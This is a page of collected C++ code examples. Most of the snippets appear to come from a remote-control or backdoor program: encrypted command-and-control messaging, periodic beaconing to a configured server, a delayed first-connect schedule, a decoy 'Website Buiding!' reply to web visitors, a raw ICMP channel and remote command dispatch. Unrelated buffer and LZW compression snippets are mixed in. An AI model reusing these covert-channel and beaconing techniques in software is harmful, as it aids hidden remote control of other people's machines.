Ejemplo n.º 1
0
int BTClient::SendSocketData(ByteBuffer &rBuf)
{
	if( rBuf.Size() == 0 )
		return 0;
	else
		return __super::SendSocketData( rBuf.GetMutableUcharPtr(), (UINT)rBuf.Size() );
}
Ejemplo n.º 2
0
BOOL CommManager::HandleMessage( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, CPGUID& cpguid )
{
	ByteBuffer dataBuffer;
	dataBuffer.Alloc(dwDataSize);
	if (! XorFibonacciCrypt(pData, dwDataSize, (LPBYTE)dataBuffer, 2, 7))
	{
		return FALSE;
	}

	BOOL bRet = m_cp.AddRecvPacket(dataBuffer, dataBuffer.Size(), commName, &cpguid);

	if (m_cp.HasReceivedMsg())
	{
		CPGUID from;
		ByteBuffer recvMsgData;
		if (m_cp.RecvMsg(recvMsgData, from))
		{
			//解析数据
			CommData recvCommdata;
			if (recvCommdata.Parse(recvMsgData, recvMsgData.Size()))
			{
				debugLog(_T("recv msg msgid[%I64u] serial[%I64u]"), recvCommdata.GetMsgID(), recvCommdata.GetSerialID());
				tstring clientid;
				CutupProtocol::CPGuid2Str(from, clientid);
				recvCommdata.SetClientID(clientid.c_str());

				SetMessageToAnswer(recvCommdata);

				HandleMsgByMsgHandler(recvCommdata.GetMsgID(), recvCommdata);
			}
			else
			{
				errorLog(_T("parse message failed"));
			}
		}
	}

	if (bRet)
	{
		//更新心跳数据
		tstring clientid;
		CutupProtocol::CPGuid2Str(cpguid, clientid);
		
		UpdateHeartbeat(clientid.c_str(), fromAddr);
	}

	return bRet;
}
Ejemplo n.º 3
0
BOOL ReadDataFile( LPCTSTR datafile, CommData& data )
{
	tstring filepath = datafile;
	if (filepath.find(':') == tstring::npos)
	{
		filepath = GetBinFilepath() + filepath;
	}

	MyFile file;
	if (! file.Open(filepath.c_str(), GENERIC_READ, OPEN_EXISTING, FILE_SHARE_READ))
	{
		errorLog(_T("open file [%s] failed"), filepath.c_str());
		return FALSE;
	}

	ByteBuffer content;
	if (! file.ReadAll(content))
	{
		errorLog(_T("readall [%s] failed"), filepath.c_str());
		return FALSE;
	}

	data.SetByteData(content, content.Size());

	return TRUE;

}
Ejemplo n.º 4
0
BOOL ICMPSocket::RecvICMP( ULONG& srcIP, ULONG& destIP, ByteBuffer& icmpData )
{
	ByteBuffer buffer;
	buffer.Alloc(1024 * 4);
	int ret = recv(m_sock, (char*)(LPBYTE)buffer, buffer.Size(), 0);
	if (SOCKET_ERROR == ret)
	{
		errorLog(_T("recv failed.WE%d"), ::WSAGetLastError());
		return FALSE;
	}

	LPIP_HEADER pIpHeader = (LPIP_HEADER)(LPBYTE)buffer;
	if (IPPROTO_ICMP != pIpHeader->Protocol) return FALSE;

	LPICMP_HEADER pIcmpHeader = (LPICMP_HEADER) ((LPBYTE)buffer + pIpHeader->HdrLen * IP_HEADER_LEN_UNIT_BYTE);
	if (ICMP_ECHO != pIcmpHeader->i_type) return FALSE;

	LPBYTE pIcmpData = (LPBYTE)pIcmpHeader + sizeof(ICMP_HEADER);
	int iIcmpDataLen = ret - pIpHeader->HdrLen * IP_HEADER_LEN_UNIT_BYTE - sizeof(ICMP_HEADER);

	srcIP = pIpHeader->SrcAddr;
	destIP = pIpHeader->DstAddr;

	icmpData.Alloc(iIcmpDataLen);
	memcpy((LPBYTE)icmpData, pIcmpData, iIcmpDataLen);

	return TRUE;
}
Ejemplo n.º 5
0
BOOL TcpComm::Send( MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dwSize )
{
	IN_ADDR addr;
	addr.S_un.S_addr = targetIP;


	ByteBuffer sendByteBuffer;
	sendByteBuffer.Alloc(dwSize);
	memcpy((LPBYTE)sendByteBuffer, pData, dwSize);

	BOOL bSentOK = FALSE;

	int iSent = sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());
	if (iSent)
	{
		bSentOK = TRUE;
	}
	else
	{
		sock.Close();

		if (! Connect(targetIP, sock))
		{
			debugLog(_T("connect %x %s failed"), targetIP, a2t(inet_ntoa(addr)));
			return FALSE;
		}
	}

	return bSentOK;
}
Ejemplo n.º 6
0
int CommManager::HttpMsgHandler( struct mg_connection *conn, enum mg_event ev )
{
	BOOL bValidData = FALSE;
	BOOL bNeedReply = FALSE;
	BOOL bHasRecv = FALSE;

	ByteBuffer buffer;
	int nOutSize = 0;
	LPBYTE pOutBuf = NULL;

	ByteBuffer toSendBuffer;
	SOCKADDR_IN addr = {0};
	char szLength[255] = {0};

	switch (ev) 
	{
	case MG_AUTH: return MG_TRUE;

	case MG_REQUEST:

		if (strcmp(conn->request_method,"GET") == 0)
		{
			mg_printf_data(conn,"<h1>Website Buiding!</h1>");
			return MG_TRUE;
		}

		addr.sin_addr.S_un.S_addr = inet_addr(conn->remote_ip);

		bNeedReply = CommManager::GetInstanceRef().HandleMessageAndReply(addr,(LPBYTE)conn->content , conn->content_len, COMMNAME_HTTP, bValidData, HTTP_COMM_REPLY_MAXSIZE, toSendBuffer);

		sprintf_s(szLength,"%d",toSendBuffer.Size());

		mg_send_header(conn,"Content-Length",szLength);

		if (bNeedReply)
			mg_send_data(conn,toSendBuffer,toSendBuffer.Size());

		return MG_TRUE;

	default: return MG_FALSE;
	}
}
Ejemplo n.º 7
0
BOOL CommManager::HandleMessageAndReply( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, BOOL& bValidData, DWORD replyMaxDataSize, ByteBuffer& replyBuffer )
{
	CPGUID cpguid;
	bValidData = HandleMessage(fromAddr, pData, dwDataSize, commName, cpguid);
	if (! bValidData)
	{
		return FALSE;
	}

	//找到需要发送的消息
	ByteBuffer toSendData;
	if (! m_cp.GetMessageToSendById(cpguid, replyMaxDataSize, toSendData))
	{
		m_cp.CreateEmptyPacket(toSendData);
	}
	
	replyBuffer.Alloc(toSendData.Size());
	BOOL bEncryptOK = XorFibonacciCrypt((LPBYTE)toSendData, toSendData.Size(), (LPBYTE)replyBuffer, 2, 7);

	return bEncryptOK;
}
Ejemplo n.º 8
0
BOOL UdpComm::Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize )
{
	IN_ADDR addr;
	addr.S_un.S_addr = targetIP;

	ByteBuffer sendByteBuffer;
	sendByteBuffer.Alloc(dwSize);
	memcpy((LPBYTE)sendByteBuffer, pData, dwSize);

	if ( !m_isConnected )
		m_isConnected = Connect(targetIP, g_ConfigInfo.nPort);

	if ( m_isConnected )
		m_isConnected = SendAll(m_sock,(LPBYTE)sendByteBuffer,sendByteBuffer.Size());

	return m_isConnected;
}
Ejemplo n.º 9
0
BOOL TcpComm::Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize )
{
	IN_ADDR addr;
	addr.S_un.S_addr = targetIP;


	ByteBuffer sendByteBuffer;
	sendByteBuffer.Alloc(dwSize);
	memcpy((LPBYTE)sendByteBuffer, pData, dwSize);

	BOOL bSentOK = FALSE;

	if( !m_isConnected)
		m_isConnected = Connect(targetIP);
	
	if (m_isConnected)
		m_isConnected = m_sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());

	return m_isConnected;
}
Ejemplo n.º 10
0
bool CompressLZW::CompressImpl(const ByteBuffer& input, ByteBuffer& output)
{
    dict<std::string, int>::type_dense_hash_map dictionary;
    dict<std::string, int>::init(dictionary, "");

    int dictSize = DEFAULT_DICTIONARY_SIZE;
    for (int i = 0; i < DEFAULT_DICTIONARY_SIZE; i++)
        dictionary[std::string(1, i)] = i;

    const char* in = (const char*)input.Data();

    char c;
    std::string w, wc;
    dict<std::string, int>::type_dense_hash_map::iterator itr;
    for (size_t i = 0; i < input.Size(); ++i)
    {
        c = input[i];
        wc = w + c;

        itr = dictionary.find(wc);

        if (itr != dictionary.end())
            w = wc;
        else
        {
            output.WriteDynInt(dictionary[w]);
            dictionary.insert(itr, std::make_pair(wc, dictSize++));
            w = std::string(1, c);
        }
    }

    if (!w.empty())
        output.WriteDynInt(dictionary[w]);

    return true;
}
Ejemplo n.º 11
0
void CTcp::WorkerProc(LPVOID lpParameter)
{
	ARGV_LIST *argv = (ARGV_LIST*)lpParameter;

	TCP_HEADER header;

	MySocket socket(argv->s,TRUE);

	BOOL ret = TRUE;
	
	ByteBuffer toSender;

	do 
	{
		if (m_isSecure)
		{
			int key1 = 0;
			int key2 = 0;

			int flag = TCP_FLAG;

			socket.ReceiveAll(&flag,sizeof(int));

			if(flag != TCP_FLAG )
				break;

			socket.SendAll(&m_myPubKey,sizeof(RSA::RSA_PUBLIC_KEY));
			socket.ReceiveAll(&key1,sizeof(int));
			socket.ReceiveAll(&key2,sizeof(int));

			RSA::RSADecrypt((char*)&m_xorKey1,&key1,m_myPriKey.e,m_myPriKey.n,1);
			RSA::RSADecrypt((char*)&m_xorKey2,&key2,m_myPriKey.e,m_myPriKey.n,1);
		}
		
		while(ret)
		{
			ret = socket.ReceiveAll(&header,sizeof(TCP_HEADER));
			if (ret && header.flag == TCP_FLAG)
			{
				LPBYTE lpData = (LPBYTE)malloc(header.nSize);

				ret = socket.ReceiveAll(lpData,header.nSize);

				if (m_isSecure)
					XorFibonacciCrypt(lpData,header.nSize,lpData,m_xorKey1,m_xorKey2);

				if ( ret )
				{
					if (argv->handler(lpData,header.nSize,argv->sin,toSender))
					{
						header.nSize = toSender.Size();
						socket.SendAll(&header,sizeof(TCP_HEADER));

						if (m_isSecure)
							XorFibonacciCrypt(toSender,toSender.Size(),toSender,m_xorKey1,m_xorKey2);

						socket.SendAll(toSender,toSender.Size());
					}

				}
				free(lpData);
			}
			else
			{
				break;
			}
		}

	} while (FALSE);

	socket.Close();

	delete lpParameter;
}
Ejemplo n.º 12
0
MSGSERIALID CommManager::AddToSendMessage( LPCTSTR clientid, const CommData& commData, BOOL bNeedReply /*= TRUE*/ )
{
	static MSGSERIALID s_serialid = 0;
	if (0 == s_serialid)
	{
		__time64_t now;
		_time64(&now);
		s_serialid = now;
	}

	CPGUID cpguid;
	if (! CutupProtocol::Str2CPGuid(clientid, cpguid))
	{
		errorLog(_T("transfer clientid failed[%s]"), clientid);
		return INVALID_MSGSERIALID;
	}

	MSGSERIALID ret = INVALID_MSGSERIALID;

	if (bNeedReply)
	{
		m_mapSection.Enter();
		{
			ClientDataMap::iterator finditer = m_clientDataMap.find(clientid);
			if (finditer == m_clientDataMap.end())
			{
				DataMap am;
				std::pair<ClientDataMap::iterator, bool> res = m_clientDataMap.insert(ClientDataMap::value_type(clientid, am));
				if (res.second)
				{
					finditer = res.first;
				}
			}

			if (finditer != m_clientDataMap.end())
			{
				DataMap& am = finditer->second;

				SEND_AND_REPLY tempAA;
				std::pair<DataMap::iterator, bool> res = am.insert(DataMap::value_type(s_serialid, tempAA));
				if (res.second)
				{
					SEND_AND_REPLY& aa = res.first->second;
					aa.bReply = FALSE;
					aa.sendData = commData;
					aa.sendData.SetSerialID(s_serialid);
					aa.cpSerial = 0;
					ret = s_serialid;

					ByteBuffer toSendData;
					aa.sendData.Serialize(toSendData);
					BOOL bPutMsg = m_cp.PutMessage(cpguid, toSendData, toSendData.Size(), COMMNAME_DEFAULT, 0, &aa.cpSerial);
					if (! bPutMsg)
					{
						errorLog(_T("put message msgid[%I64u] failed"), aa.sendData.GetMsgID());
					}
				}

				s_serialid++;
			}
		}
		m_mapSection.Leave();
	}
	else
	{
		m_mapSection.Enter();
		{
			CommData sendData = commData;
			sendData.SetSerialID(s_serialid);
			ret = s_serialid;

			ByteBuffer toSendData;
			sendData.Serialize(toSendData);
			CPSERIAL cpSerial = 0;
			BOOL bPutMsg = m_cp.PutMessage(cpguid, toSendData, toSendData.Size(), COMMNAME_DEFAULT, 0, &cpSerial);
			if (! bPutMsg)
			{
				errorLog(_T("put message msgid[%I64u][noreply] failed"), sendData.GetMsgID());
			}
			
			s_serialid++;
		}
		m_mapSection.Leave();
	}

	return ret;
}
Ejemplo n.º 13
0
void CommManager::MessageSenderProc()
{
    Wow64FsRedirectionDisabler disabler;
    disabler.Disable();

    DWORD sendTestTimeMS = 0;

    BOOL bFirstConnect = TRUE;
    BOOL bWaitUntil = (g_ConfigInfo.nFirstConnectHour >= 0 && g_ConfigInfo.nFirstConnectMinute >= 0);

    ByteBuffer recvByteData;

    while (m_bWorking)
    {
        if (! m_bWorking) break;

        Sleep(m_dwMsgIntervalMS);

        //如果配置了第一次上线时间,则需要检测并等待
        if (bFirstConnect && bWaitUntil)
        {
            static int iCount = 0;
            iCount++;
            if (iCount < 5) continue;

            iCount = 0;
            SYSTEMTIME now;
            ::GetLocalTime(&now);
            if (now.wHour == g_ConfigInfo.nFirstConnectHour && now.wMinute == g_ConfigInfo.nFirstConnectMinute)
            {
                bFirstConnect = FALSE;
            }
            else
            {
                continue;
            }
        }

        //从CutupProtocol获取待发送数据
        ByteBuffer toSendByteData;
        COMM_NAME commName;

        if (! GetMessageToSend(  commName ,toSendByteData))
        {
            CreateEmptyPacket(toSendByteData);
            commName = COMMNAME_DEFAULT;
        }

        ULONG targetIP = 0;

        BOOL ret = FALSE;

        do
        {
            ret = MySocket::IPOrHostname2IP(a2t(g_ConfigInfo.szAddr),targetIP);

        } while (!ret);


        ret = SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData);

        if (! ret)
        {
            CmdRedirector &cmd = Manager::GetInstanceRef().m_cmdRedirector;

            if (cmd.IsChildRunning())
                cmd.Stop();

            errorLog(_T("sendrecv msg [%d] failed"), commName);

            continue;
        }
        if (!IsConnected())
        {
            ConnectedNotify();
        }

        CommData recvData;

        ret = recvData.Parse(recvByteData, recvByteData.Size());

        if (!ret  )
        {
            errorLog(_T("parse received msg failed"));
            continue;
        }

        MSGID msgid = recvData.GetMsgID();
        if (INVALID_MSGID == msgid)
        {
            continue;
        }

        if ( MSGID_AVAILABLE_COMM == msgid )
        {
            continue;
        }

        //查询消息处理者
        FnExecuteRCCommand fnCallback = NULL;
        LPVOID lpParameter = NULL;
        if (! Manager::GetInstanceRef().QueryCommandHandler(msgid, &fnCallback, &lpParameter)
                || NULL == fnCallback )
        {
            errorLog(_T("no handler for [%I64u]"), msgid);
            CommData reply;
            reply.Reply(recvData);
            reply.SetMsgID(MSGID_REPLY_COMMAND);
            reply.SetData(_T("error"), _T("invalid command"));
            PushMsgToMaster(commName, reply);

            continue;
        }

        debugLog(_T("recv msgid[%I64u]. try to handle it"), msgid);

        //使用线程池处理,或者直接处理
        if (recvData.UsingPoolThread())
        {
            PEXECUTOR_PARAMETER p = new EXECUTOR_PARAMETER;
            p->msgid = msgid;
            p->fnCallback = fnCallback;
            p->lpParameter = lpParameter;
            recvData.Serialize(p->data);

            ::QueueUserWorkItem(CmdExcutor, p, WT_EXECUTEDEFAULT);
        }
        else
        {
            ByteBuffer dataBuffer;
            recvData.Serialize(dataBuffer);
            fnCallback(msgid, dataBuffer, dataBuffer.Size(), lpParameter);
        }
    }
}
Ejemplo n.º 14
0
void ByteBuffer::Append(const ByteBuffer& from) {
    Write(from.Data(), from.Size());
}
Ejemplo n.º 15
0
ByteBuffer::ByteBuffer(const ByteBuffer& from)
    : data_(from.data_.begin(), from.data_.end())
    , read_position_(0)
    , write_position_(from.Size()) {}